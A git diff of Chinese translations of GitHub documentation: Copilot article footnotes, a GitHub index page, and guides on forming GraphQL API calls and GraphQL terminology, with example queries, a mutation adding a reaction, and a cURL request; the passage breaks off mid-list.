+ +### 脚注 + +1:[关于随机鹦鹉的危险:语言模型是否太大?](https://dl.acm.org/doi/10.1145/3442188.3445922) [^](#anchor1) + +2:[Tiferet Gazit](https://github.com/tiferet) [^](#anchor2) + +3:见 von Bayern 等关于乌鸦的创造性智慧:[新喀里多尼亚乌鸦的复杂工具构造](https://www.nature.com/articles/s41598-018-33458-z) [^](#anchor3) + +4:见 Carlini 等关于故意触发训练数据的召回:[从大型语言模型中提取训练数据](https://arxiv.org/pdf/2012.07805.pdf) [^](#anchor4) + +5:jaeteekae:[DelayedTwitter](https://github.com/jaeteekae/DelayedTwitter/blob/0a0b03de74c03cfbf36877ffded0cb1312d59642/get_top_twitter_accounts.py#L21) [^](#anchor5) + +6:不过应该不会太多。 我已经要求一些开发人员帮我给这些案例贴上标签,提示每个人在判断时标出任何不确定性。 这种情况只发生在 34 个案例中,即不到 10%。 [^](#anchor6) + +7:在[公共数据集](/assets/images/help/copilot/matched_snippets.csv)中,我列出了在训练集中也能找到的部分 Copilot 建议、找到它的频率,以及指向公共代码中出现它的示例的链接。 出于隐私原因,我不包括完成的不匹配部分或用户键入的代码上下文(仅表示其长度)。 [^](#anchor7) + +8:事实上,从进行此实验后,{% data variables.product.prodname_dotcom %} Copilot 已更改为需要最少的文件内容。 因此,此处标记的一些建议不会显示在当前版本中。 [^](#anchor8) + +9:例如 jenevans33:[CS8803-1](https://github.com/jenevans33/CS8803-1/blob/eca1bbc27ca6f7355dbc806b2f95964b59381605/src/Final/ekfcode.py#L23) [^](#anchor9) diff --git a/translations/zh-CN/content/github/index.md b/translations/zh-CN/content/github/index.md new file mode 100644 index 0000000000..63599811b4 --- /dev/null +++ b/translations/zh-CN/content/github/index.md @@ -0,0 +1,22 @@ +--- +title: GitHub +redirect_from: +- /articles +- /common-issues-and-questions +- /troubleshooting-common-issues +intro: Documentation, guides, and help topics for software developers, designers, and project managers. Covers using Git, pull requests, issues, wikis, gists, and everything you need to make the most of GitHub for development. +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +children: +- /copilot +- /site-policy-deprecated +ms.openlocfilehash: 7fa823d898d59b35cf8b195d0201bfc6c81a2b05 +ms.sourcegitcommit: 67064b14c9d4d18819db8f6398358b77a1c8002a +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 05/17/2022 +ms.locfileid: "145066690" +--- diff --git a/translations/zh-CN/content/graphql/guides/forming-calls-with-graphql.md b/translations/zh-CN/content/graphql/guides/forming-calls-with-graphql.md index 46bc647570..18aeeeb68a 100644 --- a/translations/zh-CN/content/graphql/guides/forming-calls-with-graphql.md +++ b/translations/zh-CN/content/graphql/guides/forming-calls-with-graphql.md @@ -1,6 +1,6 @@ --- -title: Forming calls with GraphQL -intro: 'Learn how to authenticate to the GraphQL API, then learn how to create and run queries and mutations.' +title: 使用 GraphQL 建立调用 +intro: 了解如何向 GraphQL API 验证身份,以及如何创建并运行查询和突变。 redirect_from: - /v4/guides/forming-calls - /graphql/guides/forming-calls @@ -12,49 +12,62 @@ versions: topics: - API shortTitle: Form calls with GraphQL +ms.openlocfilehash: b3778872cad120f64f2fdbc238f2319bdd758513 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147527892' --- +## 使用 GraphQL 进行身份验证 -## Authenticating with GraphQL +要与 GraphQL 服务器通信,需要具有正确作用域的 OAuth 令牌。 -{% note %} +按照“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”中的步骤创建令牌。 您需要的作用域取决于您尝试请求的数据类型。 例如,选择“用户”范围以请求用户数据。 如果需要访问存储库信息,请选择相应的“存储库”范围。 -**Note**: You need to create a {% data variables.product.pat_v1 %}, {% data variables.product.prodname_github_app %}, or {% data variables.product.prodname_oauth_app %} to authenticate to the GraphQL API. The GraphQL API does not support authentication with {% data variables.product.pat_v2 %}s. +{% ifversion fpt or ghec %} -{% endnote %} +要匹配 [GraphQL 浏览器](/graphql/guides/using-the-explorer)的行为,可请求以下范围: + +{% else %} + +建议使用以下作用域: + +{% endif %} -### Authenticating with a {% data variables.product.pat_v1_caps %} +``` +repo +read:packages +read:org +read:public_key +read:repo_hook +user +read:discussion +read:enterprise +read:gpg_key +``` -To authenticate with a {% data variables.product.pat_generic %}, follow the steps in "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)" to create a {% data variables.product.pat_v1 %}. The data that you are requesting will dictate which scopes you will need. For example, select the "read:user" scope to request data about users. Select the "public_repo" scope to request data about public repositories. +如果资源需要特定作用域,API 会通知您。 -If your token does not have the required scopes to access a resource, the API will return an error message that states what scopes your token needs. +## GraphQL 端点 -### Authenticating with a {% data variables.product.prodname_github_app %} - -If you want to use the API on behalf of an organization or another user, GitHub recommends that you use a {% data variables.product.prodname_github_app %}. To authenticate as a {% data variables.product.prodname_github_app %} , you must first generate a private key in PEM format. Then, you must use this key to sign a JSON Web Token (JWT). You can use the JSON Web Token to request an installation token from {% data variables.product.company_short %} that you can use to authenticate to the GrpahQL API. For more information, see "[Creating a GitHub App](/developers/apps/building-github-apps/creating-a-github-app)", "[Authenticating with GitHub Apps](/developers/apps/building-github-apps/authenticating-with-github-apps), and "[Identifying and authorizing users for GitHub Apps](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps)." - -### Authenticating with a {% data variables.product.prodname_oauth_app %} - -To authenticate with an OAuth token from an {% data variables.product.prodname_oauth_app %}, you must first authorize your {% data variables.product.prodname_oauth_app %} using either a web application flow or device flow. Then, you can use the access token that you received to access the API. For more information, see "[Creating an OAuth App](/apps/building-oauth-apps/creating-an-oauth-app)" and " [Authorizing OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps)." - -## The GraphQL endpoint - -The REST API has numerous endpoints; the GraphQL API has a single endpoint: +REST API 有多个端点;GraphQL API 只有一个端点:

{% data variables.product.graphql_url_pre %}
-The endpoint remains constant no matter what operation you perform. +无论执行什么操作,端点都保持不变。 -## Communicating with GraphQL +## 与 GraphQL 通信 -Because GraphQL operations consist of multiline JSON, GitHub recommends using the [Explorer](/graphql/guides/using-the-explorer) to make GraphQL calls. You can also use cURL or any other HTTP-speaking library. +由于 GraphQL 操作由多行 JSON 组成,因此 GitHub 建议使用[浏览器](/graphql/guides/using-the-explorer)进行 GraphQL 调用。 也可以使用 cURL 或任何其他采用 HTTP 的库。 -In REST, [HTTP verbs](/rest#http-verbs) determine the operation performed. In GraphQL, you'll provide a JSON-encoded body whether you're performing a query or a mutation, so the HTTP verb is `POST`. The exception is an [introspection query](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api), which is a simple `GET` to the endpoint. For more information on GraphQL versus REST, see "[Migrating from REST to GraphQL](/graphql/guides/migrating-from-rest-to-graphql)." +在 REST 中,[HTTP 谓词](/rest#http-verbs)确定执行的操作。 在 GraphQL 中,无论是执行查询还是突变,都要提供 JSON 编码的正文,因此 HTTP 谓词为 `POST`。 唯一的例外是[内省查询](/graphql/guides/introduction-to-graphql#discovering-the-graphql-api),它是一种简单的 `GET` 到终结点查询。 有关 GraphQL 与 REST 的更多信息,请参阅“[从 REST 迁移到 GraphQL](/graphql/guides/migrating-from-rest-to-graphql)”。 -To query GraphQL using cURL, make a `POST` request with a JSON payload. The payload must contain a string called `query`: +要使用 cURL 查询 GraphQL,请利用 JSON 有效负载发出 `POST` 请求。 有效负载必须包含一个名为 `query` 的字符串: ```shell -curl -H "Authorization: bearer TOKEN" -X POST -d " \ +curl -H "Authorization: bearer token" -X POST -d " \ { \ \"query\": \"query { viewer { login }}\" \ } \ @@ -63,63 +76,63 @@ curl -H "Authorization: bearer TOKEN" -X POST -d " \ {% tip %} -**Note**: The string value of `"query"` must escape newline characters or the schema will not parse it correctly. For the `POST` body, use outer double quotes and escaped inner double quotes. +注意:`"query"` 的字符串值必须进行换行符转义,否则架构将无法正确解析它。 对于 `POST` 正文,请使用外双引号和转义的内双引号。 {% endtip %} -### About query and mutation operations +### 关于查询和突变操作 -The two types of allowed operations in GitHub's GraphQL API are _queries_ and _mutations_. Comparing GraphQL to REST, queries operate like `GET` requests, while mutations operate like `POST`/`PATCH`/`DELETE`. The [mutation name](/graphql/reference/mutations) determines which modification is executed. +GitHub 的 GraphQL API 中允许的两种操作类型为查询和突变 。 比较 GraphQL 与 REST,查询操作就像 `GET` 请求,而突变操作则像 `POST`/`PATCH`/`DELETE`。 [突变名称](/graphql/reference/mutations)确定执行的修改内容。 -For information about rate limiting, see "[GraphQL resource limitations](/graphql/overview/resource-limitations)." +有关速率限制的信息,请参阅“[GraphQL 资源限制](/graphql/overview/resource-limitations)”。 -Queries and mutations share similar forms, with some important differences. +查询和突变形式相似,但有一些重要差异。 -### About queries +### 关于查询 -GraphQL queries return only the data you specify. To form a query, you must specify [fields within fields](/graphql/guides/introduction-to-graphql#field) (also known as _nested subfields_) until you return only [scalars](/graphql/reference/scalars). +GraphQL 查询仅返回你指定的数据。 要建立查询,必须指定[字段内的字段](/graphql/guides/introduction-to-graphql#field)(也称为嵌套的子字段),直到仅返回[标量](/graphql/reference/scalars)。 -Queries are structured like this: +查询的结构如下:
query {
-  JSON-OBJECT-TO-RETURN
+  JSON objects to return
 }
-For a real-world example, see "[Example query](#example-query)." +有关实际示例,请参阅“[示例查询](#example-query)”。 -### About mutations +### 关于突变 -To form a mutation, you must specify three things: +要建立突变,必须指定三个参数: -1. _Mutation name_. The type of modification you want to perform. -2. _Input object_. The data you want to send to the server, composed of _input fields_. Pass it as an argument to the mutation name. -3. _Payload object_. The data you want to return from the server, composed of _return fields_. Pass it as the body of the mutation name. +1. 突变名称。 您要执行的修改类型。 +2. 输入对象。 要发送到服务器的数据,由输入字段组成。 将其作为参数传递至突变名称。 +3. 有效负载对象。 要从服务器返回的数据,由返回字段组成。 将其作为突变名称的正文传递。 -Mutations are structured like this: +突变的结构如下:
mutation {
-  MUTATION-NAME(input: {MUTATION-NAME-INPUT!}) {
-    MUTATION-NAME-PAYLOAD
+  mutationName(input: {MutationNameInput!}) {
+    MutationNamePayload
   }
 }
-The input object in this example is `MutationNameInput`, and the payload object is `MutationNamePayload`. +此示例中的输入对象为 `MutationNameInput`,有效负载对象为 `MutationNamePayload`。 -In the [mutations](/graphql/reference/mutations) reference, the listed _input fields_ are what you pass as the input object. The listed _return fields_ are what you pass as the payload object. +在[突变](/graphql/reference/mutations)引用中,列出的输入字段是作为输入对象传递的内容。 列出的返回字段是作为有效负载对象传递的内容。 -For a real-world example, see "[Example mutation](#example-mutation)." +有关实际示例,请参阅“[示例突变](#example-mutation)”。 -## Working with variables +## 使用变量 -[Variables](https://graphql.github.io/learn/queries/#variables) can make queries more dynamic and powerful, and they can reduce complexity when passing mutation input objects. +[变量](https://graphql.github.io/learn/queries/#variables)可使查询更具动态和更加强大,并且可以在传递突变输入对象时降低复杂性。 {% note %} -**Note**: If you're using the Explorer, make sure to enter variables in the separate [Query Variables pane](/graphql/guides/using-the-explorer#using-the-variable-pane), and do not include the word `variables` before the JSON object. +注意:如果使用的是此浏览器,请确保在单独的[“查询变量”窗格](/graphql/guides/using-the-explorer#using-the-variable-pane)中输入变量,且 JSON 对象之前不含 `variables` 一词。 {% endnote %} -Here's an example query with a single variable: +下面是一个单变量查询示例: ```graphql query($number_of_repos:Int!) { @@ -137,9 +150,9 @@ variables { } ``` -There are three steps to using variables: +使用变量包含三个步骤: -1. Define the variable outside the operation in a `variables` object: +1. 在 `variables` 对象中定义操作以外的变量: ```graphql variables { @@ -147,33 +160,33 @@ There are three steps to using variables: } ``` - The object must be valid JSON. This example shows a simple `Int` variable type, but it's possible to define more complex variable types, such as input objects. You can also define multiple variables here. + 此对象必须是有效的 JSON。 本示例显示了一个简单的 `Int` 变量类型,但可以定义更复杂的变量类型,如输入对象。 也可以在此定义多个变量。 -2. Pass the variable to the operation as an argument: +2. 将变量作为参数传递至操作: ```graphql query($number_of_repos:Int!){ ``` - The argument is a key-value pair, where the key is the _name_ starting with `$` (e.g., `$number_of_repos`), and the value is the _type_ (e.g., `Int`). Add a `!` to indicate whether the type is required. If you've defined multiple variables, include them here as multiple arguments. + 此参数是一个键值对,其中键为以 `$` 开头的名称(例如 `$number_of_repos`),值为类型(例如 `Int`) 。 添加 `!` 以指出是否需要此类型。 如果您已经定义了多个变量,请将它们作为多个参数加入此处。 -3. Use the variable within the operation: +3. 在操作中使用变量: ```graphql repositories(last: $number_of_repos) { ``` - In this example, we substitute the variable for the number of repositories to retrieve. We specify a type in step 2 because GraphQL enforces strong typing. + 在本示例中,我们用变量替换要检索的仓库编号。 在步骤 2 中指定类型,因为 GraphQL 会强制执行强类型化。 -This process makes the query argument dynamic. We can now simply change the value in the `variables` object and keep the rest of the query the same. +此流程会使查询参数具有动态性。 现在,只需更改 `variables` 对象中的值,查询的其余部分则保持不变。 -Using variables as arguments lets you dynamically update values in the `variables` object without changing the query. +将变量用作参数可支持动态更新 `variables` 对象中的值,而无需更改查询。 -## Example query +## 示例查询 -Let's walk through a more complex query and put this information in context. +我们来演练一个较为复杂的查询,并将此信息放在上下文中。 -The following query looks up the `octocat/Hello-World` repository, finds the 20 most recent closed issues, and returns each issue's title, URL, and first 5 labels: +下面的查询用于查找 `octocat/Hello-World` 存储库,查找 20 个最近关闭的问题,并返回每个问题的标题、URL 和前 5 个标签: ```graphql query { @@ -197,35 +210,35 @@ query { } ``` -Looking at the composition line by line: +逐行查看此查询的组成元素: * `query {` - Because we want to read data from the server, not modify it, `query` is the root operation. (If you don't specify an operation, `query` is also the default.) + 由于我们想从服务器读取数据,而不是修改数据,因此 `query` 是根操作。 (如果未指定操作,则 `query` 也是默认操作。) * `repository(owner:"octocat", name:"Hello-World") {` - To begin the query, we want to find a [`repository`](/graphql/reference/objects#repository) object. The schema validation indicates this object requires an `owner` and a `name` argument. + 要开始查询,需找到 [`repository`](/graphql/reference/objects#repository) 对象。 架构验证表明此对象需要 `owner` 和 `name` 参数。 * `issues(last:20, states:CLOSED) {` - To account for all issues in the repository, we call the `issues` object. (We _could_ query a single `issue` on a `repository`, but that would require us to know the number of the issue we want to return and provide it as an argument.) + 为考虑到存储库中的所有问题,我们调用 `issues` 对象。 (可查询 `repository` 中的单个 `issue`,但这需要了解我们想返回的问题编号,并将其作为参数。) - Some details about the `issues` object: + 有关 `issues` 对象的一些详细信息: - - The [docs](/graphql/reference/objects#repository) tell us this object has the type `IssueConnection`. - - Schema validation indicates this object requires a `last` or `first` number of results as an argument, so we provide `20`. - - The [docs](/graphql/reference/objects#repository) also tell us this object accepts a `states` argument, which is an [`IssueState`](/graphql/reference/enums#issuestate) enum that accepts `OPEN` or `CLOSED` values. To find only closed issues, we give the `states` key a value of `CLOSED`. + - [文档](/graphql/reference/objects#repository)中指出,此对象的类型为 `IssueConnection`。 + - 架构验证表明此对象需要将 `last` 或 `first` 个结果作为参数,因此我们提供了 `20`。 + - [文档](/graphql/reference/objects#repository)也指出,此对象接受 `states` 参数,即一种 [`IssueState`](/graphql/reference/enums#issuestate) 枚举类型,可接受的值为 `OPEN` 或 `CLOSED`。 要仅查找已关闭的问题,可对 `states` 键赋值 `CLOSED`。 * `edges {` - We know `issues` is a connection because it has the `IssueConnection` type. To retrieve data about individual issues, we have to access the node via `edges`. + 我们知道 `issues` 是一种连接,因为它的类型为 `IssueConnection`。 要检索关于各个问题的数据,必须通过 `edges` 访问节点。 * `node {` - Here we retrieve the node at the end of the edge. The [`IssueConnection` docs](/graphql/reference/objects#issueconnection) indicate the node at the end of the `IssueConnection` type is an `Issue` object. + 在本示例中,我们将检索边缘末尾的节点。 [`IssueConnection` 文档指示 `IssueConnection` 类型末尾的节点为 `Issue` 对象](/graphql/reference/objects#issueconnection)。 -* Now that we know we're retrieving an `Issue` object, we can look at the [docs](/graphql/reference/objects#issue) and specify the fields we want to return: +* 了解了要检索 `Issue` 对象后,现在可以查看[文档](/graphql/reference/objects#issue)并指定要返回的字段: ```graphql title @@ -239,18 +252,18 @@ Looking at the composition line by line: } ``` - Here we specify the `title`, `url`, and `labels` fields of the `Issue` object. + 在此指定 `Issue` 对象的 `title`、`url` 和 `labels` 字段。 - The `labels` field has the type [`LabelConnection`](/graphql/reference/objects#labelconnection). As with the `issues` object, because `labels` is a connection, we must travel its edges to a connected node: the `label` object. At the node, we can specify the `label` object fields we want to return, in this case, `name`. + `labels` 字段的类型为 [`LabelConnection`](/graphql/reference/objects#labelconnection)。 与 `issues` 对象一样,`labels` 也是一种连接,因此必须将其边缘传送到连接的节点:`label` 对象。 在此节点上,可指定要返回的 `label` 对象字段,在本例中为 `name`。 -You may notice that running this query on the Octocat's {% ifversion not ghae %}public{% endif %} `Hello-World` repository won't return many labels. Try running it on one of your own repositories that does use labels, and you'll likely see a difference. +你可能会注意到,在 Octocat 的{% ifversion not ghae %}公共{% endif %} `Hello-World` 存储库中运行此查询不会返回很多标签。 尝试在您自己的其中一个使用标签的仓库中运行,很可能会看到不同的结果。 -## Example mutation +## 突变示例 -Mutations often require information that you can only find out by performing a query first. This example shows two operations: +突变通常需要只有先执行查询才能找到的信息。 本示例显示两个操作: -1. A query to get an issue ID. -2. A mutation to add an emoji reaction to the issue. +1. 用于获取议题 ID 的查询。 +2. 用于向议题添加表情符号反应的突变。 ```graphql query FindIssueID { @@ -275,81 +288,81 @@ mutation AddReactionToIssue { {% tip %} -Although you can include a query and a mutation in the same Explorer window if you give them names (`FindIssueID` and `AddReactionToIssue` in this example), the operations will be executed as separate calls to the GraphQL endpoint. It's not possible to perform a query at the same time as a mutation, or vice versa. +如果为查询和突变命名(在本示例中为 `FindIssueID` 和 `AddReactionToIssue`),则可以将二者放入此浏览器的同一个窗口,但操作将作为对 GraphQL 终结点的单独调用执行。 不能同时执行查询和突变,反之亦然。 {% endtip %} -Let's walk through the example. The task sounds simple: add an emoji reaction to an issue. +我们演练一遍这个示例。 任务听起来简单:向议题添加表情符号反应即可。 -So how do we know to begin with a query? We don't, yet. +那么,我们怎么知道从查询开始呢? 还不知道。 -Because we want to modify data on the server (attach an emoji to an issue), we begin by searching the schema for a helpful mutation. The reference docs show the [`addReaction`](/graphql/reference/mutations#addreaction) mutation, with this description: `Adds a reaction to a subject.` Perfect! +因为我们想修改服务器上的数据(向议题添加表情符号),所以先搜索架构,查找有用的突变。 参考文档所示为 [`addReaction`](/graphql/reference/mutations#addreaction) 突变,其描述为:`Adds a reaction to a subject.` Perfect! -The docs for the mutation list three input fields: +突变文档列出了三个输入字段: * `clientMutationId` (`String`) * `subjectId` (`ID!`) * `content` (`ReactionContent!`) -The `!`s indicate that `subjectId` and `content` are required fields. A required `content` makes sense: we want to add a reaction, so we'll need to specify which emoji to use. +`!` 指示 `subjectId` 和 `content` 是必填字段。 必填字段 `content` 是有道理的:我们想添加反应,因此需要指定要使用哪个表情符号。 -But why is `subjectId` required? It's because the `subjectId` is the only way to identify _which_ issue in _which_ repository to react to. +但 `subjectId` 为什么是必填字段呢? 这是因为,`subjectId` 是确定要对哪个存储库中的哪个问题做出反应的唯一方式 。 -This is why we start this example with a query: to get the `ID`. +因此,本示例要从查询开始:获取 `ID`。 -Let's examine the query line by line: +让我们逐行检查查询: * `query FindIssueID {` - Here we're performing a query, and we name it `FindIssueID`. Note that naming a query is optional; we give it a name here so that we can include it in same Explorer window as the mutation. + 我们将执行查询,并将其命名为 `FindIssueID`。 请注意,为查询命名是可选操作;我们在此为它命名,然后即可将它与突变放在同一个 Explorer 窗口中。 * `repository(owner:"octocat", name:"Hello-World") {` - We specify the repository by querying the `repository` object and passing `owner` and `name` arguments. + 通过查询 `repository` 对象并传递 `owner` 和 `name` 参数来指定存储库。 * `issue(number:349) {` - We specify the issue to react to by querying the `issue` object and passing a `number` argument. + 通过查询 `issue` 对象和传递 `number` 参数来指定要做出反应的问题。 * `id` - This is where we retrieve the `id` of `https://github.com/octocat/Hello-World/issues/349` to pass as the `subjectId`. + 我们将检索 `https://github.com/octocat/Hello-World/issues/349` 的 `id`,并作为 `subjectId` 传递。 -When we run the query, we get the `id`: `MDU6SXNzdWUyMzEzOTE1NTE=` +运行查询时,将获取 `id`:`MDU6SXNzdWUyMzEzOTE1NTE=` {% tip %} -**Note**: The `id` returned in the query is the value we'll pass as the `subjectID` in the mutation. Neither the docs nor schema introspection will indicate this relationship; you'll need to understand the concepts behind the names to figure this out. +注意:查询中返回的 `id` 是将在突变中作为 `subjectID` 传递的值。 文档和架构内省都不会显示这种关系;您需要理解这些名称背后的概念才能找出答案。 {% endtip %} -With the ID known, we can proceed with the mutation: +在 ID 已知的情况下,可以继续进行突变操作: * `mutation AddReactionToIssue {` - Here we're performing a mutation, and we name it `AddReactionToIssue`. As with queries, naming a mutation is optional; we give it a name here so we can include it in the same Explorer window as the query. + 我们将执行突变,并将其命名为 `AddReactionToIssue`。 与查询一样,为突变命名是可选操作;我们在此为它命名,然后即可将它与查询放在同一个 Explorer 窗口中。 * `addReaction(input:{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}) {` - Let's examine this line: + 让我们来检查这一行: - - `addReaction` is the name of the mutation. - - `input` is the required argument key. This will always be `input` for a mutation. - - `{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}` is the required argument value. This will always be an [input object](/graphql/reference/input-objects) (hence the curly braces) composed of input fields (`subjectId` and `content` in this case) for a mutation. + - `addReaction` 是突变的名称。 + - `input` 是必需的参数键。 突变的参数键始终是 `input`。 + - `{subjectId:"MDU6SXNzdWUyMzEzOTE1NTE=",content:HOORAY}` 是必需的参数值。 突变的参数值始终是由输入字段(在本例中为 `subjectId` 和 `content`)组成的[输入对象](/graphql/reference/input-objects)(因此带有大括号)。 - How do we know which value to use for the content? The [`addReaction` docs](/graphql/reference/mutations#addreaction) tell us the `content` field has the type [`ReactionContent`](/graphql/reference/enums#reactioncontent), which is an [enum](/graphql/reference/enums) because only certain emoji reactions are supported on GitHub issues. These are the allowed values for reactions (note some values differ from their corresponding emoji names): + 我们怎么知道内容使用哪个值呢? [`addReaction` 文档](/graphql/reference/mutations#addreaction)指出,`content` 字段的类型为 [`ReactionContent`](/graphql/reference/enums#reactioncontent),即一种[枚举类型](/graphql/reference/enums),因为 GitHub 只支持使用某些表情符号进行反应。 这些是允许的反应值 (注意,某些值与其相应的表情符号名称不同): {% data reusables.repositories.reaction_list %} -* The rest of the call is composed of the payload object. This is where we specify the data we want the server to return after we've performed the mutation. These lines come from the [`addReaction` docs](/graphql/reference/mutations#addreaction), which three possible return fields: +* 调用的其余部分由有效负载对象组成。 我们将在此指定执行突变后由服务器返回的数据。 这几行来自 [`addReaction` 文档](/graphql/reference/mutations#addreaction),其中包含三个可能返回的字段: - `clientMutationId` (`String`) - `reaction` (`Reaction!`) - `subject` (`Reactable!`) - In this example, we return the two required fields (`reaction` and `subject`), both of which have required subfields (respectively, `content` and `id`). + 在本示例中,返回两个必填字段(`reaction` 和 `subject`),二者均包含必填子字段(分别为 `content` 和 `id`)。 -When we run the mutation, this is the response: +我们运行突变时,响应如下: ```json { @@ -366,9 +379,9 @@ When we run the mutation, this is the response: } ``` -That's it! Check out your [reaction to the issue](https://github.com/octocat/Hello-World/issues/349) by hovering over the :tada: to find your username. +就这么简单! 将鼠标悬停在 :tada: 上找到你的用户名,查看[问题的反应](https://github.com/octocat/Hello-World/issues/349)。 -One final note: when you pass multiple fields in an input object, the syntax can get unwieldy. Moving the fields into a [variable](#working-with-variables) can help. Here's how you could rewrite the original mutation using a variable: +最后注意:当您在输入对象中传递多个字段时,语法可能会变笨拙。 将字段移入[变量](#working-with-variables)可避免这种情况。 下面是您利用变量重写原始突变的方式: ```graphql mutation($myVar:AddReactionInput!) { @@ -391,19 +404,19 @@ variables { {% note %} -You may notice that the `content` field value in the earlier example (where it's used directly in the mutation) does not have quotes around `HOORAY`, but it does have quotes when used in the variable. There's a reason for this: -* When you use `content` directly in the mutation, the schema expects the value to be of type [`ReactionContent`](/graphql/reference/enums#reactioncontent), which is an _enum_, not a string. Schema validation will throw an error if you add quotes around the enum value, as quotes are reserved for strings. -* When you use `content` in a variable, the variables section must be valid JSON, so the quotes are required. Schema validation correctly interprets the `ReactionContent` type when the variable is passed into the mutation during execution. +你可能会注意到,前文示例中的 `content` 字段值(直接用于突变)在 `HOORAY` 两侧没有引号,但在变量中使用时有引号。 原因是: +* 直接在突变中使用 `content` 时,架构预计此值的类型为 [`ReactionContent`](/graphql/reference/enums#reactioncontent),即一种枚举类型,而非字符串。 如果您在枚举值两侧添加引号,架构验证将出现错误,因为引号是为字符串保留的。 +* 在变量中使用 `content` 时,变量部分必须为有效的 JSON,因此需要引号。 当变量在执行过程中传递至突变时,架构验证将正确解释 `ReactionContent` 类型。 -For more information on the difference between enums and strings, see the [official GraphQL spec](https://graphql.github.io/graphql-spec/June2018/#sec-Enums). +有关枚举与字符串之间差异的更多信息,请参阅[官方 GraphQL 规格](https://graphql.github.io/graphql-spec/June2018/#sec-Enums)。 {% endnote %} -## Further reading +## 延伸阅读 -There is a _lot_ more you can do when forming GraphQL calls. Here are some places to look next: +建立 GraphQL 调用时,可执行更多操作。 下面是接下来要阅读的一些内容: -* [Pagination](https://graphql.org/learn/pagination/) -* [Fragments](https://graphql.org/learn/queries/#fragments) -* [Inline fragments](https://graphql.org/learn/queries/#inline-fragments) -* [Directives](https://graphql.org/learn/queries/#directives) +* [分页](https://graphql.org/learn/pagination/) +* [片段](https://graphql.org/learn/queries/#fragments) +* [行内分段](https://graphql.org/learn/queries/#inline-fragments) +* [指令](https://graphql.org/learn/queries/#directives) diff --git a/translations/zh-CN/content/graphql/guides/introduction-to-graphql.md b/translations/zh-CN/content/graphql/guides/introduction-to-graphql.md index 8459cf109f..028b38a782 100644 --- a/translations/zh-CN/content/graphql/guides/introduction-to-graphql.md +++ b/translations/zh-CN/content/graphql/guides/introduction-to-graphql.md @@ -1,6 +1,6 @@ --- -title: Introduction to GraphQL -intro: Learn useful terminology and concepts for using the GitHub GraphQL API. +title: GraphQL 简介 +intro: 了解使用 GitHub GraphQL API 的有用术语和概念。 redirect_from: - /v4/guides/intro-to-graphql - /graphql/guides/intro-to-graphql @@ -11,36 +11,40 @@ versions: ghae: '*' topics: - API +ms.openlocfilehash: abc74dfd4aa65035405fd956c6438a487381284b +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145066670' --- +## GraphQL 术语 -## GraphQL terminology +GitHub GraphQL API 表示 GitHub REST API 发生的架构和概念转变。 你可能会在 GraphQL API [参考文档](/graphql)中遇到一些新术语。 -The GitHub GraphQL API represents an architectural and conceptual shift from the GitHub REST API. You will likely encounter some new terminology in the GraphQL API [reference docs](/graphql). +## 架构 -## Schema +架构可定义 GraphQL API 的类型系统。 它将描述客户端可以访问的完整可能数据集(对象、字段、关系、一切)。 来自客户端的调用已针对架构进行[验证](https://graphql.github.io/learn/validation/)和[执行](https://graphql.github.io/learn/execution/)。 客户端可通过[省](#discovering-the-graphql-api)找到有关架构的信息。 架构位于 GraphQL API 服务器上。 有关详细信息,请参阅“[发现 GraphQL API](#discovering-the-graphql-api)”。 -A schema defines a GraphQL API's type system. It describes the complete set of possible data (objects, fields, relationships, everything) that a client can access. Calls from the client are [validated](https://graphql.github.io/learn/validation/) and [executed](https://graphql.github.io/learn/execution/) against the schema. A client can find information about the schema via [introspection](#discovering-the-graphql-api). A schema resides on the GraphQL API server. For more information, see "[Discovering the GraphQL API](#discovering-the-graphql-api)." +## 字段 -## Field +字段是一种可从对象检索的数据单元。 正如[官方 GraphQL 文档](https://graphql.github.io/learn/schema/)所述:“GraphQL 查询语言主要关于选择对象的字段。”。 -A field is a unit of data you can retrieve from an object. As the [official GraphQL docs](https://graphql.github.io/learn/schema/) say: -"The GraphQL query language is basically about selecting fields on objects." +[官方规范](https://graphql.github.io/graphql-spec/June2018/#sec-Language.Fields)还提到了字段: -The [official spec](https://graphql.github.io/graphql-spec/June2018/#sec-Language.Fields) also says about fields: +> 所有 GraphQL 操作都必须将其选项指定为可返回标量值的字段,以确保得到明确响应。 -> All GraphQL operations must specify their selections down to fields which return scalar values to ensure an unambiguously shaped response. +这意味着,如果您尝试返回的字段不是标量,架构验证将出现错误。 必须添加嵌套子字段,直到所有字段都返回标量。 -This means that if you try to return a field that is not a scalar, schema validation will throw an error. You must add nested subfields until all fields return scalars. +## 参数 -## Argument +参数是指一组附加至特定字段的键值对。 某些字段需要参数。 [Mutation](/graphql/guides/forming-calls-with-graphql#about-mutations) 需要输入对象作为参数。 -An argument is a set of key-value pairs attached to a specific field. Some fields require an argument. [Mutations](/graphql/guides/forming-calls-with-graphql#about-mutations) require an input object as an argument. +## 实现 -## Implementation +GraphQL 架构可以使用术语“实现”来定义对象如何从[接口](/graphql/reference/interfaces)继承。 -A GraphQL schema may use the term _implements_ to define how an object inherits from an [interface](/graphql/reference/interfaces). - -Here's a contrived example of a schema that defines interface `X` and object `Y`: +下面是定义接口 `X` 和对象 `Y` 的架构的设计示例: ``` interface X { @@ -55,33 +59,33 @@ type Y implements X { } ``` -This means object `Y` requires the same fields/arguments/return types that interface `X` does, while adding new fields specific to object `Y`. (The `!` means the field is required.) +这意味着,对象 `Y` 需要与接口 `X` 相同的字段/参数/返回类型,同时添加特定于对象 `Y` 的新字段。 (`!` 表示该字段为必填项。) -In the reference docs, you'll find that: +在参考文档中,您将发现: -* Each [object](/graphql/reference/objects) lists the interface(s) _from which it inherits_ under **Implements**. +* 